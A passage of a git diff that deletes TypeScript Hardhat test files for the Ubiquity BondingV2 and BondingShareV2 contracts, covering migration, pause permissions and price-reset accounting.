bondingV2.connect(bondingMaxAccount).migrate()).wait(); - expect(await bondingV2.toMigrateId(bondingMaxAddress)).to.be.equal(0); - }); - - it("toMigrateId should be null if not v1 address", async () => { - expect(await bondingV2.toMigrateId(secondAddress)).to.be.equal(0); - }); - }); - - describe("setMigrator", () => { - it("setMigrator should work", async () => { - // admin is migrator at init => setMigrator to second account - await bondingV2.connect(admin).setMigrator(secondAddress); - - // now second account is migrator => addUserToMigrate should not revert - await expect(bondingV2.connect(secondAccount).addUserToMigrate(secondAddress, 1, 1)).to.not.be.reverted; - }); - - it("setMigrator should work if migrator", async () => { - // admin is migrator at init => setMigrator should not revert - await expect(bondingV2.connect(admin).setMigrator(secondAddress)).to.not.be.reverted; - }); - - it("setMigrator should fail if not migrator", async () => { - // second account not migrator => setMigrator should revert - await expect(bondingV2.connect(secondAccount).setMigrator(secondAddress)).to.be.revertedWith("not migrator"); - }); - }); - - describe("bonding share V2", () => { - const getBondV2 = async (_user: Signer, _lp = 1, _weeks = 208): Promise => { - const address = await _user.getAddress(); - - await bondingV2.connect(admin).addUserToMigrate(address, _lp, _weeks); - await (await bondingV2.connect(_user).migrate()).wait(); - - const id = (await bondingShareV2.holderTokens(address))[0]; - const bond = await bondingShareV2.getBond(id); - - return bond; - }; - - it("bonding share V2 should be minted with incremental ID", async () => { - await (await bondingV2.connect(bondingMinAccount).migrate()).wait(); - await (await bondingV2.connect(bondingMaxAccount).migrate()).wait(); - - const idsMin = await bondingShareV2.holderTokens(bondingMinAddress); - const idsMax = await bondingShareV2.holderTokens(bondingMaxAddress); - expect(idsMax[0].sub(idsMin[0])).to.be.equal(1); - expect(idsMax[0]).to.be.equal(2); - }); - - it("bonding share V2 with Zero LP should not increment ID", async () => { - await expect(bondingV2.connect(bondingZeroAccount).migrate()).to.be.reverted; - await (await bondingV2.connect(bondingMaxAccount).migrate()).wait(); - - expect((await bondingShareV2.holderTokens(bondingMaxAddress))[0]).to.be.equal(1); - }); - - it("bonding share V2 should have endblock according to weeks param", async () => { - const blockCountInAWeek: BigNumber = BigNumber.from(20000); - await bondingV2.setBlockCountInAWeek(blockCountInAWeek); - - const bond = await getBondV2(secondAccount, 42, 208); - - expect(bond.endBlock).to.be.equal(bond.creationBlock.add(blockCountInAWeek.mul(208))); - }); - - it("bonding share V2 should have LP amount according to LP param", async () => { - const bond = await getBondV2(secondAccount, 2, 208); - - expect(bond.lpAmount).to.be.equal(2); - }); - - it("bonding share V2 should have appropriate minter", async () => { - const bond = await getBondV2(secondAccount, 2, 208); - - expect(bond.minter).to.be.equal(secondAddress); - }); - it("bonding share V2 should have appropriate lpRewardDebt and shares", async () => { - const totalLpToMigrateBeforeMinMigrate = await bondingV2.totalLpToMigrate(); - await bondingV2.connect(bondingMinAccount).migrate(); - const totalLpToMigrateAfterMinMigrate = await bondingV2.totalLpToMigrate(); - const idsMin = await bondingShareV2.holderTokens(bondingMinAddress); - expect(idsMin.length).to.equal(1); - - let pendingLpRewardsMin = await bondingV2.pendingLpRewards(idsMin[0]); - - const bondingV2Bal = await metaPool.balanceOf(bondingV2.address); - expect(bondingV2Bal).to.equal(bondingMaxBalance.add(bondingMinBalance)); - let totalLP = await bondingShareV2.totalLP(); - expect(totalLP).to.equal(bondingMinBalance); - const bondMin = await bondingShareV2.getBond(idsMin[0]); - const zz1 = await bondingV2.bondingDiscountMultiplier(); // zz1 = zerozero1 = 0.001 ether = 10^16 - const calculatedSharesForMin = BigNumber.from(await ubiquityFormulas.durationMultiply(bondMin.lpAmount, 1, zz1)); - const shareMinDetail = await masterChefV2.getBondingShareInfo(idsMin[0]); - - expect(shareMinDetail[0]).to.equal(calculatedSharesForMin); - - expect(totalLpToMigrateBeforeMinMigrate).to.equal(totalLpToMigrateAfterMinMigrate.add(bondMin.lpAmount)); - expect(bondMin.lpRewardDebt).to.be.equal(0); - // simulate distribution of lp token to assess the update of lpRewardDebt - const extraLPAmount = one.mul(10); - await metaPool.transfer(bondingV2.address, extraLPAmount); - const totalLpToMigrateBeforeMaxMigrate = await bondingV2.totalLpToMigrate(); - await bondingV2.connect(bondingMaxAccount).migrate(); - const totalLpToMigrateAfterMaxMigrate = await bondingV2.totalLpToMigrate(); - - const idsMax = await bondingShareV2.holderTokens(bondingMaxAddress); - const bondMax = await bondingShareV2.getBond(idsMax[0]); - const calculatedSharesForMax = BigNumber.from(await ubiquityFormulas.durationMultiply(bondMax.lpAmount, 208, zz1)); - const shareMaxDetail = await masterChefV2.getBondingShareInfo(idsMax[0]); - expect(shareMaxDetail[0]).to.equal(calculatedSharesForMax); - - expect(totalLpToMigrateBeforeMaxMigrate).to.equal(totalLpToMigrateAfterMaxMigrate.add(bondMax.lpAmount)); - expect(bondMax.lpRewardDebt).to.be.equal("39958228383176416936"); - const pendingLpRewardsMax = await bondingV2.pendingLpRewards(idsMax[0]); - expect(pendingLpRewardsMax).to.equal(0); - const bondingV2BalAfter = await metaPool.balanceOf(bondingV2.address); - expect(bondingV2BalAfter).to.equal(bondMin.lpAmount.add(bondMax.lpAmount).add(extraLPAmount)); - totalLP = await bondingShareV2.totalLP(); - expect(totalLP).to.equal(bondingMaxBalance.add(bondingMinBalance)); - // bondingMin account should be entitled to some rewards as the extraLPAmount - // occurs after his migration - pendingLpRewardsMin = await bondingV2.pendingLpRewards(idsMin[0]); - - const isPrecise = isAmountEquivalent(pendingLpRewardsMin.toString(), extraLPAmount.toString(), "0.0000000001"); - expect(isPrecise).to.be.true; - - expect(idsMax.length).to.equal(1); - // send the LP token from bonding V1 to V2 to prepare the migration - // simulate distribution of lp token to assess the update of lpRewardDebt - const extraLPSecondAmount = one.mul(42); - await metaPool.transfer(bondingV2.address, extraLPSecondAmount); - const pendingLpRewardsMinSecond = await bondingV2.pendingLpRewards(idsMin[0]); - expect(pendingLpRewardsMinSecond).to.be.gt(pendingLpRewardsMin); - const pendingLpRewardsMaxSecond = await bondingV2.pendingLpRewards(idsMax[0]); - expect(pendingLpRewardsMaxSecond).to.be.gt(pendingLpRewardsMax); - const isRewardPrecise = isAmountEquivalent( - pendingLpRewardsMaxSecond.add(pendingLpRewardsMinSecond).toString(), - extraLPAmount.add(extraLPSecondAmount).toString(), - "0.0000000001" - ); - expect(isRewardPrecise).to.be.true; - }); - }); -}); diff --git a/packages/contracts/dollar/test/BondingV2.pause.test.ts b/packages/contracts/dollar/test/BondingV2.pause.test.ts deleted file mode 100644 index 0c173bd10..000000000 --- a/packages/contracts/dollar/test/BondingV2.pause.test.ts +++ /dev/null @@ -1,167 +0,0 @@ -// Should test Pause for BondingV2 and BondingShareV2 - -import { expect } from "chai"; -import { ethers, Signer, BigNumber } from "ethers"; -import { IMetaPool } from "../artifacts/types/IMetaPool"; -import { BondingV2 } from "../artifacts/types/BondingV2"; -import { BondingShareV2 } from "../artifacts/types/BondingShareV2"; -import { bondingSetupV2 } from "./BondingSetupV2"; -import { UbiquityAlgorithmicDollarManager } from "../artifacts/types/UbiquityAlgorithmicDollarManager"; -import { mineNBlock, resetFork } from "./utils/hardhatNode"; - -let bondingV2: BondingV2; -let metaPool: IMetaPool; -let bondingShareV2: BondingShareV2; -let admin: Signer; -let secondAccount: Signer; -let bondingMaxAccount: Signer; -let manager: UbiquityAlgorithmicDollarManager; -let blockCountInAWeek: BigNumber; -let adminAddress: string; -let secondAccountAddress: string; - -const PAUSER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("PAUSER_ROLE")); - -describe("Pause V2 Bonding", () => { - after(async () => { - await resetFork(12592661); - }); - beforeEach(async () => { - ({ manager, admin, secondAccount, bondingMaxAccount, bondingV2, metaPool, bondingShareV2, blockCountInAWeek } = await bondingSetupV2()); - secondAccountAddress = await secondAccount.getAddress(); - adminAddress = await admin.getAddress(); - }); - - describe("Pausing BondingV2", () => { - it("Should pause and unpause only with role", async () => { - // pause revert without role - await expect(bondingV2.connect(secondAccount).pause()).to.be.revertedWith("not pauser"); - - // pause work with role - await expect(bondingV2.connect(admin).pause()).to.not.be.reverted; - - // pause revert if already paused - await expect(bondingV2.connect(admin).pause()).to.be.revertedWith("Pausable: paused"); - - // unpause revert without role - await expect(bondingV2.connect(secondAccount).unpause()).to.be.revertedWith("not pauser"); - - // unpause work with role - await expect(bondingV2.connect(admin).unpause()).to.not.be.reverted; - - // unpause revert if not paused - await expect(bondingV2.connect(admin).unpause()).to.be.revertedWith("Pausable: not paused"); - - // setting role to pause and unpause - await manager.connect(admin).grantRole(PAUSER_ROLE, secondAccountAddress); - await expect(bondingV2.connect(secondAccount).pause()).to.not.be.reverted; - await expect(bondingV2.connect(secondAccount).unpause()).to.not.be.reverted; - }); - - it("Should pause deposit, addLiquidity and removeLiquidity", async () => { - const amount = BigNumber.from(1); - - // approve bondingV2 to deposit - await metaPool.connect(secondAccount).approve(bondingV2.address, amount.mul(2)); - - // pause bondingV2 then deposit should fail - await bondingV2.connect(admin).pause(); - await expect(bondingV2.connect(secondAccount).deposit(amount, 1)).to.be.revertedWith("Pausable: paused"); - - // unpause bondingV2 then deposit should work - await bondingV2.connect(admin).unpause(); - await expect(bondingV2.connect(secondAccount).deposit(amount, 1)).to.not.be.reverted; - - const bondId = await bondingShareV2.totalSupply(); - - // wait 1 week to add liquidity - await mineNBlock(blockCountInAWeek.toNumber()); - - // unpause bondingV2 then addLiquidity should fail - await bondingV2.connect(admin).pause(); - await expect(bondingV2.connect(secondAccount).addLiquidity(bondId, amount, 1)).to.be.revertedWith("Pausable: paused"); - - // unpause bondingV2 then addLiquidity should work - await bondingV2.connect(admin).unpause(); - await expect(bondingV2.connect(secondAccount).addLiquidity(bondId, amount, 1)).to.not.be.reverted; - - // wait 1 week to removeLiquidity - await mineNBlock(blockCountInAWeek.toNumber()); - - // unpause bondingV2 then removeLiquidity should fail - await bondingV2.connect(admin).pause(); - await expect(bondingV2.connect(secondAccount).removeLiquidity(bondId, amount)).to.be.revertedWith("Pausable: paused"); - - // unpause bondingV2 then removeLiquidity should work - await bondingV2.connect(admin).unpause(); - await expect(bondingV2.connect(secondAccount).removeLiquidity(bondId, amount)).to.not.be.reverted; - }); - }); - - describe("Pausing BondingShareV2", () => { - it("Should pause and unpause only with role", async () => { - // pause revert without role - await expect(bondingShareV2.connect(secondAccount).pause()).to.be.revertedWith("not pauser"); - - // pause work with role - await expect(bondingShareV2.connect(admin).pause()).to.not.be.reverted; - - // pause revert if already paused - await expect(bondingShareV2.connect(admin).pause()).to.be.revertedWith("Pausable: paused"); - - // unpause revert without role - await expect(bondingShareV2.connect(secondAccount).unpause()).to.be.revertedWith("not pauser"); - - // unpause work with role - await expect(bondingShareV2.connect(admin).unpause()).to.not.be.reverted; - - // unpause revert if not paused - await expect(bondingShareV2.connect(admin).unpause()).to.be.revertedWith("Pausable: not paused"); - - // setting role to pause and unpause - await manager.connect(admin).grantRole(PAUSER_ROLE, secondAccountAddress); - await expect(bondingShareV2.connect(secondAccount).pause()).to.not.be.reverted; - await expect(bondingShareV2.connect(secondAccount).unpause()).to.not.be.reverted; - }); - - it("Should pause updateBond, mint, safeTransferFrom and safeBatchTransferFrom", async () => { - // pause bondingShareV2 then updateBond should fail - await bondingShareV2.connect(admin).pause(); - await expect(bondingShareV2.connect(admin).updateBond(1, 1, 1, 1)).to.be.revertedWith("Pausable: paused"); - - await expect(bondingShareV2.connect(admin).mint(secondAccountAddress, 1, 1, 1)).to.be.revertedWith("Pausable: paused"); - - await expect(bondingShareV2.connect(admin).safeTransferFrom(adminAddress, secondAccountAddress, 1, 1, [])).to.be.revertedWith("Pausable: paused"); - - await expect(bondingShareV2.connect(admin).safeBatchTransferFrom(adminAddress, secondAccountAddress, [1, 2], [1, 1], [])).to.be.revertedWith( - "Pausable: paused" - ); - }); - }); - - describe("Pausing BondingV2 and BondingShareV2", () => { - it("Should not pause BondingV2 pendingLpRewards, lpRewardForShares, currentShareValue and sendDust", async () => { - await bondingV2.connect(admin).pause(); - await bondingShareV2.connect(admin).pause(); - - await expect(bondingV2.connect(secondAccount).pendingLpRewards(1)).to.not.be.reverted; - - await expect(bondingV2.connect(secondAccount).lpRewardForShares(1, 1)).to.not.be.reverted; - - await expect(bondingV2.connect(secondAccount).currentShareValue()).to.not.be.reverted; - - await expect(bondingV2.connect(admin).sendDust(secondAccountAddress, metaPool.address, 1)).to.not.be.reverted; - }); - - it("Should pause BondingV2 migrate", async () => { - // approve bondingV2 to deposit - await metaPool.connect(secondAccount).approve(bondingV2.address, BigNumber.from(10)); - await bondingV2.connect(secondAccount).deposit(BigNumber.from(2), 1); - - await bondingV2.connect(admin).pause(); - await bondingShareV2.connect(admin).pause(); - - await expect(bondingV2.connect(bondingMaxAccount).migrate()).to.be.revertedWith("Pausable: paused"); - }); - }); -}); diff --git a/packages/contracts/dollar/test/BondingV2.priceReset.test.ts b/packages/contracts/dollar/test/BondingV2.priceReset.test.ts deleted file mode 100644 index 1ab0bd897..000000000 --- a/packages/contracts/dollar/test/BondingV2.priceReset.test.ts +++ /dev/null @@ -1,609 +0,0 @@ -import { expect } from "chai"; -import { ethers, Signer, BigNumber } from "ethers"; -import { BondingV2 } from "../artifacts/types/BondingV2"; -import { BondingShareV2 } from "../artifacts/types/BondingShareV2"; -import { UbiquityAlgorithmicDollar } from "../artifacts/types/UbiquityAlgorithmicDollar"; -import { latestBlockNumber, mineNBlock } from "./utils/hardhatNode"; -import { IMetaPool } from "../artifacts/types/IMetaPool"; -import { ERC20 } from "../artifacts/types/ERC20"; -import { TWAPOracle } from "../artifacts/types/TWAPOracle"; -import { bondingSetupV2, deposit } from "./BondingSetupV2"; -import { swapToUpdateOracle } from "./utils/swap"; -import { MasterChefV2 } from "../artifacts/types/MasterChefV2"; -import { BondingFormulas } from "../artifacts/types/BondingFormulas"; -import { isAmountEquivalent } from "./utils/calc"; - -describe("bondingV2 price reset", () => { - const one: BigNumber = BigNumber.from(10).pow(18); // one = 1 ether = 10^18 - let admin: Signer; - let secondAccount: Signer; - let fourthAccount: Signer; - let bondingMaxAccount: Signer; - let bondingMinAccount: Signer; - let treasury: Signer; - let secondAddress: string; - let uAD: UbiquityAlgorithmicDollar; - let metaPool: IMetaPool; - let crvToken: ERC20; - let twapOracle: TWAPOracle; - let bondingV2: BondingV2; - let bondingShareV2: BondingShareV2; - let masterChefV2: MasterChefV2; - let bondingFormulas: BondingFormulas; - let bondMinId: ethers.BigNumber; - let bondMaxId: ethers.BigNumber; - let bondMin: { - minter: string; - lpFirstDeposited: BigNumber; - creationBlock: BigNumber; - lpRewardDebt: BigNumber; - endBlock: BigNumber; - lpAmount: BigNumber; - }; - let bondMax: { - minter: string; - lpFirstDeposited: BigNumber; - creationBlock: BigNumber; - lpRewardDebt: BigNumber; - endBlock: BigNumber; - lpAmount: BigNumber; - }; - beforeEach(async () => { - ({ - secondAccount, - fourthAccount, - bondingMaxAccount, - bondingMinAccount, - uAD, - admin, - metaPool, - bondingV2, - crvToken, - bondingShareV2, - masterChefV2, - twapOracle, - bondingFormulas, - treasury, - } = await bondingSetupV2()); - secondAddress = await secondAccount.getAddress(); - // handle migration and remove liquidity because it is not the intend to test it here - await bondingV2.connect(bondingMinAccount).migrate(); - const idsMin = await bondingShareV2.holderTokens(await bondingMinAccount.getAddress()); - [bondMinId] = idsMin; - bondMin = await bondingShareV2.getBond(bondMinId); - - await bondingV2.connect(bondingMaxAccount).migrate(); - const idsMax = await bondingShareV2.holderTokens(await bondingMaxAccount.getAddress()); - [bondMaxId] = idsMax; - bondMax = await bondingShareV2.getBond(bondMaxId); - }); - it("onlyBondingManager can call uADPriceReset", async () => { - await expect(bondingV2.connect(secondAccount).uADPriceReset(1)).to.be.revertedWith("not manager"); - }); - it("onlyBondingManager can call crvPriceReset", async () => { - await expect(bondingV2.connect(secondAccount).crvPriceReset(1)).to.be.revertedWith("not manager"); - }); - it("crvPriceReset should work", async () => { - const bondingUADBalanceBefore = await uAD.balanceOf(bondingV2.address); - const pool0bal0 = await metaPool.balances(0); - const pool1bal0 = await metaPool.balances(1); - expect(pool0bal0).to.equal(ethers.utils.parseEther("10300")); - expect(pool1bal0).to.equal(ethers.utils.parseEther("10300")); - - const amountOf3CRVforOneUADBefore = await metaPool["get_dy(int128,int128,uint256)"](0, 1, ethers.utils.parseEther("1")); - // remove the pending rewards - const treasuryAdr = await treasury.getAddress(); - // only leave 4.2 eth as lp rewards - const firstLPRewards = ethers.utils.parseEther("4.2"); - await metaPool.connect(admin).transfer(bondingV2.address, firstLPRewards); - const amountOfLpDeposited = one.mul(100); - // deposit 100 uLP more tokens in addition to the 403.4995 already in the bonding contract - const idSecond = (await deposit(secondAccount, amountOfLpDeposited, 1)).id; - const bondBefore = await bondingShareV2.balanceOf(secondAddress, idSecond); - const totalBondingLPDeposited = await bondingShareV2.totalLP(); - // value in LP of a bonding share - const shareValueBefore = await bondingV2.currentShareValue(); - const sharesTotalSupply = await masterChefV2.totalShares(); - // amount of 3crv inside the treasury - - const treasury3CRVBalanceBeforeReset = await crvToken.balanceOf(treasuryAdr); - // priceBOND = totalLP / totalShares * TARGET_PRICE - const calculatedShareValue = totalBondingLPDeposited.mul(one).div(sharesTotalSupply); - expect(shareValueBefore).to.equal(calculatedShareValue); - - const amountOf3CRV = await metaPool["calc_withdraw_one_coin(uint256,int128)"](totalBondingLPDeposited, 1); - - const bondingSCBalanceBefore = await metaPool.balanceOf(bondingV2.address); - await expect(bondingV2.crvPriceReset(totalBondingLPDeposited)) - .to.emit(crvToken, "Transfer") - .withArgs(bondingV2.address, treasuryAdr, amountOf3CRV) - .and.to.emit(bondingV2, "PriceReset") - .withArgs(crvToken.address, amountOf3CRV, amountOf3CRV); - const treasury3CRVBalanceAfterReset = await crvToken.balanceOf(treasuryAdr); - expect(treasury3CRVBalanceAfterReset).to.equal(treasury3CRVBalanceBeforeReset.add(amountOf3CRV)); - const bondAfter = await bondingShareV2.balanceOf(secondAddress, idSecond); - // bonding share should remain the same - expect(bondBefore).to.equal(bondAfter); - // amount of curve LP to be withdrawn should be less - const shareValueAfter = await bondingV2.currentShareValue(); - - const bondingSCBalanceAfter = await metaPool.balanceOf(bondingV2.address); - - expect(bondingSCBalanceAfter).to.equal(bondingSCBalanceBefore.sub(totalBondingLPDeposited)); - // share value is the same - expect(shareValueAfter).to.equal(shareValueBefore); - const bondingUADBalanceAfter = await uAD.balanceOf(bondingV2.address); - const oraclePrice = await twapOracle.consult(uAD.address); - const amountOf3CRVforOneUADAfter = await metaPool["get_dy(int128,int128,uint256)"](0, 1, ethers.utils.parseEther("1")); - const oracleCRVPrice = await twapOracle.consult(crvToken.address); - // price of uAD against 3CRV should be lower than before - // meaning for a uAD you can have less 3CRV - expect(amountOf3CRVforOneUADAfter).to.be.lt(amountOf3CRVforOneUADBefore); - const pool0bal = await metaPool.balances(0); - const pool1bal = await metaPool.balances(1); - expect(bondingUADBalanceBefore).to.equal(0); - expect(bondingUADBalanceAfter).to.equal(0); - expect(pool1bal).to.be.lt(pool1bal0.sub(amountOf3CRV)); - expect(pool0bal).to.equal(pool0bal0); - await swapToUpdateOracle(metaPool, crvToken, uAD, admin); - await twapOracle.update(); - const oraclePriceLatest = await twapOracle.consult(uAD.address); - const oracleCRVPriceLatest = await twapOracle.consult(crvToken.address); - // After update the TWAP price of uAD against 3CRV should be lower than before - // the price of 3CRV against price of uAD should be greater than before - expect(oraclePriceLatest).to.be.lt(oraclePrice); - expect(oracleCRVPriceLatest).to.be.gt(oracleCRVPrice); - // user can't withdraw all his deposited LP token because of the price reset - const lastBlockNum = await latestBlockNumber(); - const bond = await bondingShareV2.getBond(idSecond); - const endOfLockingInBlock = bond.endBlock.toNumber() - lastBlockNum.number; - await mineNBlock(endOfLockingInBlock); - const bs = await masterChefV2.getBondingShareInfo(idSecond); - - await metaPool.connect(admin).transfer(bondingV2.address, ethers.utils.parseEther("10")); - const bondingSCBalanceNew = await metaPool.balanceOf(bondingV2.address); - let amountToWithdraw = bond.lpAmount.div(2); - const sharesToRemove = await bondingFormulas.sharesForLP(bond, bs, amountToWithdraw); - const pendingLpRewards = await bondingV2.pendingLpRewards(idSecond); - // there is still less LP on bonding than the total LP deposited - expect(pendingLpRewards).to.equal(0); - - const lpRewards = await bondingV2.lpRewards(); - const correctedAmount = amountToWithdraw.mul(bondingSCBalanceNew.sub(lpRewards)).div(totalBondingLPDeposited); - - const secondAccbalanceBeforeRemove = await metaPool.balanceOf(secondAddress); - - const accLpRewardPerShareBeforeLQTYRemove = await bondingV2.accLpRewardPerShare(); - await expect(bondingV2.connect(secondAccount).removeLiquidity(amountToWithdraw, idSecond)) - .to.emit(bondingV2, "RemoveLiquidityFromBond") - .withArgs(secondAddress, idSecond, amountToWithdraw, correctedAmount, pendingLpRewards, sharesToRemove) - .and.to.emit(metaPool, "Transfer") - .withArgs(bondingV2.address, secondAddress, correctedAmount.add(pendingLpRewards)); - // user gets the corrected amount of LP - const secondAccbalanceAfterRemove = await metaPool.balanceOf(secondAddress); - expect(correctedAmount).to.be.lt(amountOfLpDeposited); - expect(secondAccbalanceAfterRemove).to.equal(secondAccbalanceBeforeRemove.add(correctedAmount)); - const bsAfter = await masterChefV2.getBondingShareInfo(idSecond); - const pendingLpRewardsAfterRemove = await bondingV2.pendingLpRewards(idSecond); - expect(pendingLpRewardsAfterRemove).to.equal(0); - // user looses the bonding shares corresponding to the amount asked for withdrawal - expect(bsAfter[0]).to.equal(bs[0].sub(sharesToRemove)); - // bonding share is updated accordingly - const bondAfterRemoveLQTY = await bondingShareV2.getBond(idSecond); - expect(bondAfterRemoveLQTY.lpAmount).to.equal(bond.lpAmount.sub(amountToWithdraw)); - expect(bondAfterRemoveLQTY.minter).to.equal(bond.minter); - - expect(bondAfterRemoveLQTY.lpFirstDeposited).to.equal(bond.lpFirstDeposited); - expect(bondAfterRemoveLQTY.creationBlock).to.equal(bond.creationBlock); - expect(bondAfterRemoveLQTY.endBlock).to.equal(bond.endBlock); - const accLpRewardPerShareAfterLQTYRemove = await bondingV2.accLpRewardPerShare(); - expect(accLpRewardPerShareAfterLQTYRemove).to.equal(accLpRewardPerShareBeforeLQTYRemove); - const lpRewardDebtAfterLQTYRemove = bsAfter[0].mul(accLpRewardPerShareAfterLQTYRemove).div(BigNumber.from(1e12)); - expect(bondAfterRemoveLQTY.lpRewardDebt).to.equal(lpRewardDebtAfterLQTYRemove); - expect(bondAfterRemoveLQTY.lpRewardDebt).to.be.lt(bond.lpRewardDebt); - - // make sure that if LP are back on the bonding contract user can access rewards and its LP - - amountToWithdraw = bondAfterRemoveLQTY.lpAmount.div(5); - const totLP = await bondingShareV2.totalLP(); - await metaPool.connect(admin).transfer(bondingV2.address, totLP); - // spice things up by adding a deposit - - const bondFour = await deposit(fourthAccount, ethers.utils.parseEther("1"), 8); - const bs2 = await masterChefV2.getBondingShareInfo(idSecond); - const bs4 = await masterChefV2.getBondingShareInfo(bondFour.id); - const bsmin = await masterChefV2.getBondingShareInfo(bondMinId); - const bsmax = await masterChefV2.getBondingShareInfo(bondMaxId); - const sharesToRemove2 = await bondingFormulas.sharesForLP(bondAfterRemoveLQTY, bs2, amountToWithdraw); - const secondAccbalanceBeforeRemove2 = await metaPool.balanceOf(secondAddress); - const pendingLpRewards2 = await bondingV2.pendingLpRewards(idSecond); - const pendingLpRewards4 = await bondingV2.pendingLpRewards(bondFour.id); - const pendingLpRewardsMin = await bondingV2.pendingLpRewards(bondMinId); - const pendingLpRewardsMax = await bondingV2.pendingLpRewards(bondMaxId); - expect(pendingLpRewards4).to.equal(0); - expect(pendingLpRewards2).to.be.gt(0).and.to.be.lt(pendingLpRewardsMin); - expect(await masterChefV2.totalShares()).to.equal(bs2[0].add(bs4[0]).add(bsmin[0]).add(bsmax[0])); - const isPrecise = isAmountEquivalent( - (await bondingV2.lpRewards()).toString(), - pendingLpRewardsMin.add(pendingLpRewardsMax).add(pendingLpRewards2).add(pendingLpRewards4).toString(), - "0.00000001" - ); - expect(isPrecise).to.be.true; - await expect(bondingV2.connect(secondAccount).removeLiquidity(amountToWithdraw, idSecond)) - .to.emit(bondingV2, "RemoveLiquidityFromBond") - .withArgs(secondAddress, idSecond, amountToWithdraw, amountToWithdraw, pendingLpRewards2, sharesToRemove2); - // user gets the corrected amount of LP - const secondAccbalanceAfterRemove2 = await metaPool.balanceOf(secondAddress); - - expect(secondAccbalanceAfterRemove2).to.equal(secondAccbalanceBeforeRemove2.add(amountToWithdraw).add(pendingLpRewards2)); - const bsAfter2 = await masterChefV2.getBondingShareInfo(idSecond); - - // user looses the bonding shares corresponding to the amount asked for withdrawal - expect(bsAfter2[0]).to.equal(bs2[0].sub(sharesToRemove2)); - // bonding share is updated accordingly - const bondAfterRemoveLQTY2 = await bondingShareV2.getBond(idSecond); - expect(bondAfterRemoveLQTY2.lpAmount).to.equal(bondAfterRemoveLQTY.lpAmount.sub(amountToWithdraw)); - expect(bondAfterRemoveLQTY2.minter).to.equal(bond.minter); - - expect(bondAfterRemoveLQTY2.lpFirstDeposited).to.equal(bondAfterRemoveLQTY.lpFirstDeposited); - expect(bondAfterRemoveLQTY2.creationBlock).to.equal(bondAfterRemoveLQTY.creationBlock); - expect(bondAfterRemoveLQTY2.endBlock).to.equal(bondAfterRemoveLQTY.endBlock); - const accLpRewardPerShare = await bondingV2.accLpRewardPerShare(); - const lpRewardDebt = bsAfter2[0].mul(accLpRewardPerShare).div(BigNumber.from(1e12)); - expect(bondAfterRemoveLQTY2.lpRewardDebt).to.equal(lpRewardDebt); - }); - it("crvPriceReset should work twice", async () => { - const pool0bal0 = await metaPool.balances(0); - const pool1bal0 = await metaPool.balances(1); - expect(pool0bal0).to.equal(ethers.utils.parseEther("10300")); - expect(pool1bal0).to.equal(ethers.utils.parseEther("10300")); - - // remove the pending rewards - const treasuryAdr = await treasury.getAddress(); - // only leave 4.2 eth as lp rewards - const firstLPRewards = ethers.utils.parseEther("4.2"); - await metaPool.connect(admin).transfer(bondingV2.address, firstLPRewards); - const amountOfLpdeposited = one.mul(100); - // deposit 100 uLP more tokens in addition to the 100 already in the bonding contract - const idSecond = (await deposit(secondAccount, amountOfLpdeposited, 1)).id; - const amountToPriceReset = amountOfLpdeposited.div(2); - // we will remove half of the deposited LP - // keep in mind that we also have 4.2eth as lp rewards - const amountOf3CRV = await metaPool["calc_withdraw_one_coin(uint256,int128)"](amountToPriceReset, 1); - await expect(bondingV2.crvPriceReset(amountToPriceReset)) - .to.emit(crvToken, "Transfer") - .withArgs(bondingV2.address, treasuryAdr, amountOf3CRV) - .and.to.emit(bondingV2, "PriceReset") - .withArgs(crvToken.address, amountOf3CRV, amountOf3CRV); - - const pendingLpRewards = await bondingV2.pendingLpRewards(idSecond); - // there is still less LP on bonding than the total LP deposited - expect(pendingLpRewards).to.equal(0); - - // spice things up by adding a deposit - const amountOf2ndLPdeposit = one.mul(10); - const idFourth = (await deposit(fourthAccount, amountOf2ndLPdeposit, 8)).id; - - const amountTo2ndPriceReset = ethers.utils.parseEther("8"); - // now we should have 4.2 +403 +100 -50 +10 -8 = 56.2 for total bond of 110 - - const totalLPDeposited = await bondingShareV2.totalLP(); - expect(totalLPDeposited).to.equal(bondMin.lpAmount.add(bondMax.lpAmount).add(amountOfLpdeposited.add(amountOf2ndLPdeposit))); - // we will remove half of the deposited LP - // keep in mind that we also have 4.2eth as lp rewards - const amountOf2nd3CRV = await metaPool["calc_withdraw_one_coin(uint256,int128)"](amountTo2ndPriceReset, 1); - await expect(bondingV2.crvPriceReset(amountTo2ndPriceReset)) - .to.emit(crvToken, "Transfer") - .withArgs(bondingV2.address, treasuryAdr, amountOf2nd3CRV) - .and.to.emit(bondingV2, "PriceReset") - .withArgs(crvToken.address, amountOf2nd3CRV, amountOf2nd3CRV); - const bondingLPBalance = await metaPool.balanceOf(bondingV2.address); - expect(bondingLPBalance).to.equal(totalLPDeposited.add(firstLPRewards).sub(amountToPriceReset).sub(amountTo2ndPriceReset)); - - const amountToWithdraw = amountOfLpdeposited.div(2); - const bs2 = await masterChefV2.getBondingShareInfo(idSecond); - const bond = await bondingShareV2.getBond(idSecond); - const sharesToRemove2 = await bondingFormulas.sharesForLP(bond, bs2, amountToWithdraw); - - const bondingSCBalanceBeforeRemove2 = await metaPool.balanceOf(bondingV2.address); - const secondAccbalanceBeforeRemove2 = await metaPool.balanceOf(secondAddress); - const totalBondingLPDeposited2 = await bondingShareV2.totalLP(); - - const pendingLpRewards2 = await bondingV2.pendingLpRewards(idSecond); - - expect(pendingLpRewards2).to.equal(0); - const pendingLpRewards4 = await bondingV2.pendingLpRewards(idFourth); - expect(pendingLpRewards4).to.equal(0); - const lpRewards = await bondingV2.lpRewards(); - const correctedAmount2 = amountToWithdraw.mul(bondingSCBalanceBeforeRemove2.sub(lpRewards)).div(totalBondingLPDeposited2); - const bondAfterRemoveLQTY = await bondingShareV2.getBond(idSecond); - - const lastBlockNum = await latestBlockNumber(); - const endOfLockingInBlock = bond.endBlock.toNumber() - lastBlockNum.number; - await mineNBlock(endOfLockingInBlock); - await expect(bondingV2.connect(secondAccount).removeLiquidity(amountToWithdraw, idSecond)) - .to.emit(bondingV2, "RemoveLiquidityFromBond") - .withArgs(secondAddress, idSecond, amountToWithdraw, correctedAmount2, pendingLpRewards2, sharesToRemove2); - // user gets the corrected amount of LP - const secondAccbalanceAfterRemove2 = await metaPool.balanceOf(secondAddress); - const bondingSCBalanceAfterRemove2 = await metaPool.balanceOf(bondingV2.address); - // we have transferred the corrected amount not the amount we asked - expect(bondingSCBalanceAfterRemove2).to.equal(bondingSCBalanceBeforeRemove2.sub(correctedAmount2)); - expect(secondAccbalanceAfterRemove2).to.equal(secondAccbalanceBeforeRemove2.add(correctedAmount2)); - const bsAfter2 = await 